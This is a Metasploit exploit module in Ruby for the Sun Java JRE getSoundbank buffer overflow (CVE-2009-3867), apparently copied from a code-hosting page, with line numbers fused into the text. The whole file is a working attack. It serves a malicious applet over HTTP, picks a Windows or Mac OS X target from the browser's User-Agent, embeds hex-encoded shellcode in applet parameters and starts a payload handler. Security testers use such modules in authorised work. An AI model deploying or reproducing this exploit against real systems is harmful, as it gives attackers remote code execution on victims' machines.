Path: blob/master/modules/exploits/multi/browser/java_getsoundbank_bof.rb
19534 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78#9# This module acts as an HTTP server10#11include Msf::Exploit::Remote::HttpServer::HTML1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'Sun Java JRE getSoundbank file:// URI Buffer Overflow',18'Description' => %q{19This module exploits a flaw in the getSoundbank function in the Sun JVM.2021The payload is serialized and passed to the applet via PARAM tags. It must be22a native payload.2324The effected Java versions are JDK and JRE 6 Update 16 and earlier,25JDK and JRE 5.0 Update 21 and earlier, SDK and JRE 1.4.2_23 and26earlier, and SDK and JRE 1.3.1_26 and earlier.2728NOTE: Although all of the above versions are reportedly vulnerable, only291.6.0_u11 and 1.6.0_u16 on Windows XP SP3 were tested.30},31'License' => MSF_LICENSE,32'Author' => [33'kf', # Original PoC/exploit34'jduck' # metasploit version35],36'References' => [37[ 'CVE', '2009-3867' ],38[ 'OSVDB', '59711' ],39[ 'BID', '36881' ],40[ 'ZDI', '09-076' ]41],42'Payload' => {43'Space' => 1024,44'BadChars' => '',45'DisableNops' => true,46},47'Platform' => %w{win osx},48'Targets' => [49=begin5051No automatic targetting for now ...5253[ 'J2SE 1.6_16 Automatic',54{55'Platform' => %w{ linux osx win },56'Arch' => [ARCH_X86, ARCH_PPC]57}58],59=end60[61'J2SE 1.6_16 on Windows x86',62{63'Platform' => 'win',64'Arch' => ARCH_X8665}66],67[68'J2SE 1.6_16 on Mac OS X PPC',69{70'Platform' => 'osx',71'Arch' => ARCH_PPC,72}73],74[75'J2SE 1.6_16 on Mac OS X x86',76{77'Platform' => 'osx',78'Arch' => ARCH_X86,79}80],81],82'DefaultTarget' => 0,83'DisclosureDate' => '2009-11-04',84'Notes' => {85'Reliability' => UNKNOWN_RELIABILITY,86'Stability' => UNKNOWN_STABILITY,87'SideEffects' => UNKNOWN_SIDE_EFFECTS88}89)90)91end9293def exploit94# load the static jar95path = File.join(Msf::Config.data_directory, "exploits", "CVE-2009-3867.jar")96fd = File.open(path, "rb")97@jar_data = fd.read(fd.stat.size)98fd.close99100super101end102103def on_request_uri(cli, req)104# Create a cached mapping between IP and detected target105@targetcache ||= {}106@targetcache[cli.peerhost] ||= {}107@targetcache[cli.peerhost][:update] = Time.now.to_i108109if (target.name =~ /Automatic/)110case req.headers['User-Agent']111when /Windows/i112print_status("Choosing a Windows target")113@targetcache[cli.peerhost][:target] = self.targets[1]114when /PPC Mac OS X/i115print_status("Choosing a Mac OS X PPC target")116@targetcache[cli.peerhost][:target] = self.targets[2]117when /Intel Mac OS X/i118print_status("Choosing a Mac OS X x86 target")119@targetcache[cli.peerhost][:target] = self.targets[3]120else121print_status("Unknown target for: #{req.headers['User-Agent']}")122end123end124125# Clean the cache126rmq = []127@targetcache.each_key do |addr|128if (Time.now.to_i > @targetcache[addr][:update] + 60)129rmq.push addr130end131end132133rmq.each { |addr| @targetcache.delete(addr) }134135# Request processing136if (not req.uri.match(/\.jar$/i))137138# Redirect to the base directory so the applet code loads...139if (not req.uri.match(/\/$/))140print_status("Sending redirect so path ends with / ...")141send_redirect(cli, get_resource() + '/', '')142return143end144145# Display the applet loading HTML146print_status("Sending HTML")147send_response_html(cli, generate_html(payload.encoded),148{149'Content-Type' => 'text/html',150'Pragma' => 'no-cache'151})152return153end154155# Send the actual applet over156print_status("Sending applet")157send_response(cli, generate_applet(cli, req),158{159'Content-Type' => 'application/octet-stream',160'Pragma' => 'no-cache'161})162163# Handle the payload164handler(cli)165end166167def generate_html(pl)168html = <<~EOF169<html>170<head>171<!-- <meta http-equiv=refresh content=10 /> -->172</head>173<body>174<applet width='100%' height='100%' code='AppletX' archive='JARNAME'>175<param name='sc' value='SCODE' />176<param name='np' value='NOPS' />177</applet>178</body>179</html>180EOF181182# finalize the html183jar_name = rand_text_alphanumeric(32) + '.jar'184html.gsub!(/JARNAME/, jar_name)185186# add payload187debug_payload = false188pload = ""189pload << "\xcc" if debug_payload190pload << pl191if ((pload.length % 4) > 0)192pload << rand_text((4 - (pload.length % 4)))193end194if debug_payload195print_status("pload #{pload.length} bytes:\n" + Rex::Text.to_hex_dump(pload))196end197html.gsub!(/SCODE/, Rex::Text.to_hex(pload, ''))198199# add nops200nops = "\x90\x90\x90\x90"201html.gsub!(/NOPS/, Rex::Text.to_hex(nops, ''))202# print_status("nops #{nops.length} bytes:\n" + Rex::Text.to_hex_dump(nops))203204return html205end206207def generate_applet(cli, req)208this_target = nil209if (target.name =~ /Automatic/)210if (@targetcache[cli.peerhost][:target])211this_target = @targetcache[cli.peerhost][:target]212else213return ''214end215else216this_target = target217end218219return @jar_data220end221end222223224